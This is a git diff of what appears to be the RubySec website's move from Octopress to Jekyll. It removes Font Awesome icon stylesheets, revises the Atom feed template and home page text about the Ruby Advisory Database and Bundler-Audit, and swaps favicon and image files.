-  content: "\f033"
-
-.icon-text-height:before
-  content: "\f034"
-
-.icon-text-width:before
-  content: "\f035"
-
-.icon-align-left:before
-  content: "\f036"
-
-.icon-align-center:before
-  content: "\f037"
-
-.icon-align-right:before
-  content: "\f038"
-
-.icon-align-justify:before
-  content: "\f039"
-
-.icon-list:before
-  content: "\f03a"
-
-.icon-indent-left:before
-  content: "\f03b"
-
-.icon-indent-right:before
-  content: "\f03c"
-
-.icon-facetime-video:before
-  content: "\f03d"
-
-.icon-picture:before
-  content: "\f03e"
-
-.icon-pencil:before
-  content: "\f040"
-
-.icon-map-marker:before
-  content: "\f041"
-
-.icon-adjust:before
-  content: "\f042"
-
-.icon-tint:before
-  content: "\f043"
-
-.icon-edit:before
-  content: "\f044"
-
-.icon-share:before
-  content: "\f045"
-
-.icon-check:before
-  content: "\f046"
-
-.icon-move:before
-  content: "\f047"
-
-.icon-step-backward:before
-  content: "\f048"
-
-.icon-fast-backward:before
-  content: "\f049"
-
-.icon-backward:before
-  content: "\f04a"
-
-.icon-play:before
-  content: "\f04b"
-
-.icon-pause:before
-  content: "\f04c"
-
-.icon-stop:before
-  content: "\f04d"
-
-.icon-forward:before
-  content: "\f04e"
-
-.icon-fast-forward:before
-  content: "\f050"
-
-.icon-step-forward:before
-  content: "\f051"
-
-.icon-eject:before
-  content: "\f052"
-
-.icon-chevron-left:before
-  content: "\f053"
-
-.icon-chevron-right:before
-  content: "\f054"
-
-.icon-plus-sign:before
-  content: "\f055"
-
-.icon-minus-sign:before
-  content: "\f056"
-
-.icon-remove-sign:before
-  content: "\f057"
-
-.icon-ok-sign:before
-  content: "\f058"
-
-.icon-question-sign:before
-  content: "\f059"
-
-.icon-info-sign:before
-  content: "\f05a"
-
-.icon-screenshot:before
-  content: "\f05b"
-
-.icon-remove-circle:before
-  content: "\f05c"
-
-.icon-ok-circle:before
-  content: "\f05d"
-
-.icon-ban-circle:before
-  content: "\f05e"
-
-.icon-arrow-left:before
-  content: "\f060"
-
-.icon-arrow-right:before
-  content: "\f061"
-
-.icon-arrow-up:before
-  content: "\f062"
-
-.icon-arrow-down:before
-  content: "\f063"
-
-.icon-share-alt:before
-  content: "\f064"
-
-.icon-resize-full:before
-  content: "\f065"
-
-.icon-resize-small:before
-  content: "\f066"
-
-.icon-plus:before
-  content: "\f067"
-
-.icon-minus:before
-  content: "\f068"
-
-.icon-asterisk:before
-  content: "\f069"
-
-.icon-exclamation-sign:before
-  content: "\f06a"
-
-.icon-gift:before
-  content: "\f06b"
-
-.icon-leaf:before
-  content: "\f06c"
-
-.icon-fire:before
-  content: "\f06d"
-
-.icon-eye-open:before
-  content: "\f06e"
-
-.icon-eye-close:before
-  content: "\f070"
-
-.icon-warning-sign:before
-  content: "\f071"
-
-.icon-plane:before
-  content: "\f072"
-
-.icon-calendar:before
-  content: "\f073"
-
-.icon-random:before
-  content: "\f074"
-
-.icon-comment:before
-  content: "\f075"
-
-.icon-magnet:before
-  content: "\f076"
-
-.icon-chevron-up:before
-  content: "\f077"
-
-.icon-chevron-down:before
-  content: "\f078"
-
-.icon-retweet:before
-  content: "\f079"
-
-.icon-shopping-cart:before
-  content: "\f07a"
-
-.icon-folder-close:before
-  content: "\f07b"
-
-.icon-folder-open:before
-  content: "\f07c"
-
-.icon-resize-vertical:before
-  content: "\f07d"
-
-.icon-resize-horizontal:before
-  content: "\f07e"
-
-.icon-bar-chart:before
-  content: "\f080"
-
-.icon-twitter-sign:before
-  content: "\f081"
-
-.icon-facebook-sign:before
-  content: "\f082"
-
-.icon-camera-retro:before
-  content: "\f083"
-
-.icon-key:before
-  content: "\f084"
-
-.icon-cogs:before
-  content: "\f085"
-
-.icon-comments:before
-  content: "\f086"
-
-.icon-thumbs-up:before
-  content: "\f087"
-
-.icon-thumbs-down:before
-  content: "\f088"
-
-.icon-star-half:before
-  content: "\f089"
-
-.icon-heart-empty:before
-  content: "\f08a"
-
-.icon-signout:before
-  content: "\f08b"
-
-.icon-linkedin-sign:before
-  content: "\f08c"
-
-.icon-pushpin:before
-  content: "\f08d"
-
-.icon-external-link:before
-  content: "\f08e"
-
-.icon-signin:before
-  content: "\f090"
-
-.icon-trophy:before
-  content: "\f091"
-
-.icon-github-sign:before
-  content: "\f092"
-
-.icon-upload-alt:before
-  content: "\f093"
-
-.icon-lemon:before
-  content: "\f094"
diff --git a/assets/font-awesome/sass/font-awesome.scss b/assets/font-awesome/sass/font-awesome.scss
deleted file mode 100755
index e5b8ca67..00000000
--- a/assets/font-awesome/sass/font-awesome.scss
+++ /dev/null
@@ -1,267 +0,0 @@
-/*  Font Awesome
-    the iconic font designed for use with Twitter Bootstrap
-    -------------------------------------------------------
-    The full suite of pictographic icons, examples, and documentation
-    can be found at: http://fortawesome.github.com/Font-Awesome/
-
-    License
-    -------------------------------------------------------
-    The Font Awesome webfont, CSS, and LESS files are licensed under CC BY 3.0:
-    http://creativecommons.org/licenses/by/3.0/ A mention of
-    'Font Awesome - http://fortawesome.github.com/Font-Awesome' in human-readable
-    source code is considered acceptable attribution (most common on the web).
-    If human readable source code is not available to the end user, a mention in
-    an 'About' or 'Credits' screen is considered acceptable (most common in desktop
-    or mobile software).
-
-    Contact
-    -------------------------------------------------------
-    Email: dave@davegandy.com
-    Twitter: http://twitter.com/fortaweso_me
-    Work: http://lemonwi.se co-founder
-
-    */
-   
-@import "compass/css3/font-face";
-$font_path: "../font/fontawesome-webfont" !default;
-
-@include font-face(
-	'FontAwesome',
-	font-files(
-		"#{$font_path}.woff", woff,
-		"#{$font_path}.ttf", truetype,
-		"#{$font_path}.otf", opentype,
-		"#{$font_path}.svgz#FontAwesomeRegular", svg,
-		"#{$font_path}.svg#FontAwesomeRegular", svg),
-	'#{$font_path}.eot',
-	normal,
-	normal);
-
-/* sprites.less reset */
-[class^="icon-"],
-[class*=" icon-"] {
-    display: inline;
-    width: auto;
-    height: auto;
-    line-height: inherit;
-    vertical-align: baseline;
-    background-image: none;
-    background-position: 0% 0%;
-    background-repeat: repeat;
-}
-li[class^="icon-"],
-li[class*=" icon-"] {
-    display: block;
-}
-
-/*  Font Awesome styles
-    ------------------------------------------------------- */
-[class^="icon-"]:before,
-[class*=" icon-"]:before {
-    font-family: FontAwesome;
-    font-weight: normal;
-    font-style: normal;
-    display: inline-block;
-    text-decoration: inherit;
-}
-
-a [class^="icon-"],
-a [class*=" icon-"] {
-    display: inline-block;
-    text-decoration: inherit;
-}
-
-/* makes the font 33% larger relative to the icon container */
-.icon-large:before {
-    vertical-align: top;
-    font-size: 4/3em;
-}
-
-.btn {
-    [class^="icon-"],
-    [class*=" icon-"] {
-        /* keeps button heights with and without icons the same */
-        line-height: .9em;
-    }
-}
-
-li {
-    [class^="icon-"],
-    [class*=" icon-"] {
-        display: inline-block;
-        width: 1.25em;
-        text-align: center;
-    }
-    .icon-large[class^="icon-"],
-    .icon-large[class*=" icon-"]  {
-        /* 1.5 increased font size for icon-large * 1.25 width */
-        width: 1.5*1.25em;
-    }
-}
-
-li[class^="icon-"],
-li[class*=" icon-"] {
-    margin-left: 0;
-    list-style-type: none;
-
-    &:before {
-        text-indent: -2em;
-        text-align: center;
-    }
-    &.icon-large:before {
-        text-indent: -4/3em;
-    }
-}
-
-/*  Font Awesome uses the Unicode Private Use Area (PUA) to ensure screen
-    readers do not read off random characters that represent icons */
-.icon-glass:before              { content: "\f000"; }
-.icon-music:before              { content: "\f001"; }
-.icon-search:before             { content: "\f002"; }
-.icon-envelope:before           { content: "\f003"; }
-.icon-heart:before              { content: "\f004"; }
-.icon-star:before               { content: "\f005"; }
-.icon-star-empty:before         { content: "\f006"; }
-.icon-user:before               { content: "\f007"; }
-.icon-film:before               { content: "\f008"; }
-.icon-th-large:before           { content: "\f009"; }
-.icon-th:before                 { content: "\f00a"; }
-.icon-th-list:before            { content: "\f00b"; }
-.icon-ok:before                 { content: "\f00c"; }
-.icon-remove:before             { content: "\f00d"; }
-.icon-zoom-in:before            { content: "\f00e"; }
-
-.icon-zoom-out:before           { content: "\f010"; }
-.icon-off:before                { content: "\f011"; }
-.icon-signal:before             { content: "\f012"; }
-.icon-cog:before                { content: "\f013"; }
-.icon-trash:before              { content: "\f014"; }
-.icon-home:before               { content: "\f015"; }
-.icon-file:before               { content: "\f016"; }
-.icon-time:before               { content: "\f017"; }
-.icon-road:before               { content: "\f018"; }
-.icon-download-alt:before       { content: "\f019"; }
-.icon-download:before           { content: "\f01a"; }
-.icon-upload:before             { content: "\f01b"; }
-.icon-inbox:before              { content: "\f01c"; }
-.icon-play-circle:before        { content: "\f01d"; }
-.icon-repeat:before             { content: "\f01e"; }
-
-/* \f020 is not a valid unicode character. all shifted one down */
-.icon-refresh:before            { content: "\f021"; }
-.icon-list-alt:before           { content: "\f022"; }
-.icon-lock:before               { content: "\f023"; }
-.icon-flag:before               { content: "\f024"; }
-.icon-headphones:before         { content: "\f025"; }
-.icon-volume-off:before         { content: "\f026"; }
-.icon-volume-down:before        { content: "\f027"; }
-.icon-volume-up:before          { content: "\f028"; }
-.icon-qrcode:before             { content: "\f029"; }
-.icon-barcode:before            { content: "\f02a"; }
-.icon-tag:before                { content: "\f02b"; }
-.icon-tags:before               { content: "\f02c"; }
-.icon-book:before               { content: "\f02d"; }
-.icon-bookmark:before           { content: "\f02e"; }
-.icon-print:before              { content: "\f02f"; }
-
-.icon-camera:before             { content: "\f030"; }
-.icon-font:before               { content: "\f031"; }
-.icon-bold:before               { content: "\f032"; }
-.icon-italic:before             { content: "\f033"; }
-.icon-text-height:before        { content: "\f034"; }
-.icon-text-width:before         { content: "\f035"; }
-.icon-align-left:before         { content: "\f036"; }
-.icon-align-center:before       { content: "\f037"; }
-.icon-align-right:before        { content: "\f038"; }
-.icon-align-justify:before      { content: "\f039"; }
-.icon-list:before               { content: "\f03a"; }
-.icon-indent-left:before        { content: "\f03b"; }
-.icon-indent-right:before       { content: "\f03c"; }
-.icon-facetime-video:before     { content: "\f03d"; }
-.icon-picture:before            { content: "\f03e"; }
-
-.icon-pencil:before             { content: "\f040"; }
-.icon-map-marker:before         { content: "\f041"; }
-.icon-adjust:before             { content: "\f042"; }
-.icon-tint:before               { content: "\f043"; }
-.icon-edit:before               { content: "\f044"; }
-.icon-share:before              { content: "\f045"; }
-.icon-check:before              { content: "\f046"; }
-.icon-move:before               { content: "\f047"; }
-.icon-step-backward:before      { content: "\f048"; }
-.icon-fast-backward:before      { content: "\f049"; }
-.icon-backward:before           { content: "\f04a"; }
-.icon-play:before               { content: "\f04b"; }
-.icon-pause:before              { content: "\f04c"; }
-.icon-stop:before               { content: "\f04d"; }
-.icon-forward:before            { content: "\f04e"; }
-
-.icon-fast-forward:before       { content: "\f050"; }
-.icon-step-forward:before       { content: "\f051"; }
-.icon-eject:before              { content: "\f052"; }
-.icon-chevron-left:before       { content: "\f053"; }
-.icon-chevron-right:before      { content: "\f054"; }
-.icon-plus-sign:before          { content: "\f055"; }
-.icon-minus-sign:before         { content: "\f056"; }
-.icon-remove-sign:before        { content: "\f057"; }
-.icon-ok-sign:before            { content: "\f058"; }
-.icon-question-sign:before      { content: "\f059"; }
-.icon-info-sign:before          { content: "\f05a"; }
-.icon-screenshot:before         { content: "\f05b"; }
-.icon-remove-circle:before      { content: "\f05c"; }
-.icon-ok-circle:before          { content: "\f05d"; }
-.icon-ban-circle:before         { content: "\f05e"; }
-
-.icon-arrow-left:before         { content: "\f060"; }
-.icon-arrow-right:before        { content: "\f061"; }
-.icon-arrow-up:before           { content: "\f062"; }
-.icon-arrow-down:before         { content: "\f063"; }
-.icon-share-alt:before          { content: "\f064"; }
-.icon-resize-full:before        { content: "\f065"; }
-.icon-resize-small:before       { content: "\f066"; }
-.icon-plus:before               { content: "\f067"; }
-.icon-minus:before              { content: "\f068"; }
-.icon-asterisk:before           { content: "\f069"; }
-.icon-exclamation-sign:before   { content: "\f06a"; }
-.icon-gift:before               { content: "\f06b"; }
-.icon-leaf:before               { content: "\f06c"; }
-.icon-fire:before               { content: "\f06d"; }
-.icon-eye-open:before           { content: "\f06e"; }
-
-.icon-eye-close:before          { content: "\f070"; }
-.icon-warning-sign:before       { content: "\f071"; }
-.icon-plane:before              { content: "\f072"; }
-.icon-calendar:before           { content: "\f073"; }
-.icon-random:before             { content: "\f074"; }
-.icon-comment:before            { content: "\f075"; }
-.icon-magnet:before             { content: "\f076"; }
-.icon-chevron-up:before         { content: "\f077"; }
-.icon-chevron-down:before       { content: "\f078"; }
-.icon-retweet:before            { content: "\f079"; }
-.icon-shopping-cart:before      { content: "\f07a"; }
-.icon-folder-close:before       { content: "\f07b"; }
-.icon-folder-open:before        { content: "\f07c"; }
-.icon-resize-vertical:before    { content: "\f07d"; }
-.icon-resize-horizontal:before  { content: "\f07e"; }
-
-.icon-bar-chart:before          { content: "\f080"; }
-.icon-twitter-sign:before       { content: "\f081"; }
-.icon-facebook-sign:before      { content: "\f082"; }
-.icon-camera-retro:before       { content: "\f083"; }
-.icon-key:before                { content: "\f084"; }
-.icon-cogs:before               { content: "\f085"; }
-.icon-comments:before           { content: "\f086"; }
-.icon-thumbs-up:before          { content: "\f087"; }
-.icon-thumbs-down:before        { content: "\f088"; }
-.icon-star-half:before          { content: "\f089"; }
-.icon-heart-empty:before        { content: "\f08a"; }
-.icon-signout:before            { content: "\f08b"; }
-.icon-linkedin-sign:before      { content: "\f08c"; }
-.icon-pushpin:before            { content: "\f08d"; }
-.icon-external-link:before      { content: "\f08e"; }
-
-.icon-signin:before             { content: "\f090"; }
-.icon-trophy:before             { content: "\f091"; }
-.icon-github-sign:before        { content: "\f092"; }
-.icon-upload-alt:before         { content: "\f093"; }
-.icon-lemon:before              { content: "\f094"; }
\ No newline at end of file
diff --git a/atom.xml b/atom.xml
index 6ba1103a..86cfc1a1 100644
--- a/atom.xml
+++ b/atom.xml
@@ -4,24 +4,25 @@ layout: null
 <?xml version="1.0" encoding="utf-8"?>
 <feed xmlns="http://www.w3.org/2005/Atom">
 
-  <title><![CDATA[{{ site.title }}]]></title>
+  <title type="text"><![CDATA[{{ site.title }}]]></title>
+  <subtitle type="text"><![CDATA[{{ site.subtitle }}]]></subtitle>
   <link href="{{ site.url }}/atom.xml" rel="self"/>
-  <link href="{{ site.url }}/"/>
+  <link href="{{ site.url }}/" rel="alternate" hreflang="en" />
   <updated>{{ site.time | date_to_xmlschema }}</updated>
   <id>{{ site.url }}/</id>
   <author>
     <name><![CDATA[{{ site.author | strip_html }}]]></name>
     {% if site.email %}<email><![CDATA[{{ site.email }}]]></email>{% endif %}
   </author>
-  <generator uri="http://octopress.org/">Octopress</generator>
+  <generator uri="https://jekyllrb.com/">Jekyll</generator>
 
   {% for post in site.posts limit: 20 %}
   <entry>
     <title type="html"><![CDATA[{{ post.title | cdata_escape }}]]></title>
-    <link href="{{ site.url }}{{ post.url }}"/>
-    <updated>{{ post.date | date_to_xmlschema }}</updated>
+    <link rel="alternate" href="{{ site.url }}{{ post.url }}"/>
     <id>{{ site.url }}{{ post.id }}</id>
-    <content type="html"><![CDATA[{{ post.content | expand_urls: site.url | cdata_escape }}]]></content>
+    <updated>{{ post.date | date_to_xmlschema }}</updated>
+    <content type="html"><![CDATA[{{ post.advisory.description | expand_urls: site.url | cdata_escape }}]]></content>
   </entry>
   {% endfor %}
 </feed>
diff --git a/favicon.ico b/favicon.ico
new file mode 100644
index 00000000..a79163ee
Binary files /dev/null and b/favicon.ico differ
diff --git a/favicon.png b/favicon.png
deleted file mode 100644
index 0f250673..00000000
Binary files a/favicon.png and /dev/null differ
diff --git a/images/android-chrome-192x192.png b/images/android-chrome-192x192.png
new file mode 100644
index 00000000..f7bdac3b
Binary files /dev/null and b/images/android-chrome-192x192.png differ
diff --git a/images/android-chrome-512x512.png b/images/android-chrome-512x512.png
new file mode 100644
index 00000000..a0d38c4d
Binary files /dev/null and b/images/android-chrome-512x512.png differ
diff --git a/images/bird_32_gray.png b/images/bird_32_gray.png
deleted file mode 100644
index 574f210a..00000000
Binary files a/images/bird_32_gray.png and /dev/null differ
diff --git a/images/bird_32_gray_fail.png b/images/bird_32_gray_fail.png
deleted file mode 100644
index 8337d103..00000000
Binary files a/images/bird_32_gray_fail.png and /dev/null differ
diff --git a/images/code_bg.png b/images/code_bg.png
deleted file mode 100644
index a57bab56..00000000
Binary files a/images/code_bg.png and /dev/null differ
diff --git a/images/dotted-border.png b/images/dotted-border.png
deleted file mode 100644
index 57f99071..00000000
Binary files a/images/dotted-border.png and /dev/null differ
diff --git a/images/email.png b/images/email.png
deleted file mode 100644
index e55473fe..00000000
Binary files a/images/email.png and /dev/null differ
diff --git a/images/favicon-16x16.png b/images/favicon-16x16.png
new file mode 100644
index 00000000..b6a47813
Binary files /dev/null and b/images/favicon-16x16.png differ
diff --git a/images/favicon-32x32.png b/images/favicon-32x32.png
new file mode 100644
index 00000000..f1f49ee8
Binary files /dev/null and b/images/favicon-32x32.png differ
diff --git a/images/line-tile.png b/images/line-tile.png
deleted file mode 100644
index f67ee19f..00000000
Binary files a/images/line-tile.png and /dev/null differ
diff --git a/images/noise.png b/images/noise.png
deleted file mode 100644
index 432e05bf..00000000
Binary files a/images/noise.png and /dev/null differ
diff --git a/images/rss.png b/images/rss.png
deleted file mode 100644
index 151ae718..00000000
Binary files a/images/rss.png and /dev/null differ
diff --git a/images/rubysec-logo.png b/images/rubysec-logo.png
new file mode 100644
index 00000000..41ad67e4
Binary files /dev/null and b/images/rubysec-logo.png differ
diff --git a/images/search.png b/images/search.png
deleted file mode 100644
index 1220ff4e..00000000
Binary files a/images/search.png and /dev/null differ
diff --git a/index.html b/index.html
index 63b1fbf0..dc4bee79 100644
--- a/index.html
+++ b/index.html
@@ -3,24 +3,24 @@
 title: Home
 ---
 
+<p>We help maintain the following projects:</p>
+
 <div class="row">
   <div class="span4">
-    <h2>Advisory Database</h2>
+    <h2><a href="https://github.com/rubysec/ruby-advisory-db" target="_blank">Ruby Advisory Database</a></h2>
+    <p>
+    The canonical, community-maintained, plain-text database of security vulnerability advisories affecting Ruby libraries and virtual machines.
+    </p>
     <p>
-    The Ruby advisory database seeks to serve as a canonical repository of vulnerabilities affecting ruby libraries.
+    Receive updates via atom or <a href="https://github.com/rubysec/ruby-advisory-db" target="_blank">browse the database</a>.
     </p>
     <p>
     We are always looking for contributors.
     </p>
-    <a class="btn btn-large btn-github" href="https://github.com/rubysec/ruby-advisory-db/" target="_blank">
-      <i class="icon-github icon-2x pull-left"></i>
-      View Project<br>on GitHub</a>
   </div>
   <div class="span4">
-    <h2>Mailing List</h2>
-    <p>The rubysec-announce google group is our primary means of distribution.</p>
-    <p>Join our free mailing list to receive notifications on published advisories and information regarding recent vulnerabilities.</p>
-    <p><a class="btn" href="https://groups.google.com/group/rubysec-announce" target="_blank">View details &raquo;</a></p>
+    <h2><a href="https://github.com/rubysec/bundler-audit" target="_blank">Bundler-Audit</a></h2>
+    <p>Free utility that audits your Gemfile.lock against the advisory database.</p>
   </div>
 
   {% include sidebar.html %}
diff --git a/robots.txt b/robots.txt
index 14267e90..6d9f51f1 100644
--- a/robots.txt
+++ b/robots.txt
@@ -1,2 +1 @@
-User-agent: *
-Allow: /
\ No newline at end of file
+Sitemap: https://rubysec.com/sitemap.xml
diff --git a/site.webmanifest b/site.webmanifest
new file mode 100644
index 00000000..7e895db6
--- /dev/null
+++ b/site.webmanifest
@@ -0,0 +1 @@
+{"name":"RubySec","short_name":"RubySec","icons":[{"src":"/images/android-chrome-192x192.png","sizes":"192x192","type":"image/png"},{"src":"/images/android-chrome-512x512.png","sizes":"512x512","type":"image/png"}],"theme_color":"#ffffff","background_color":"#ffffff","display":"standalone"}
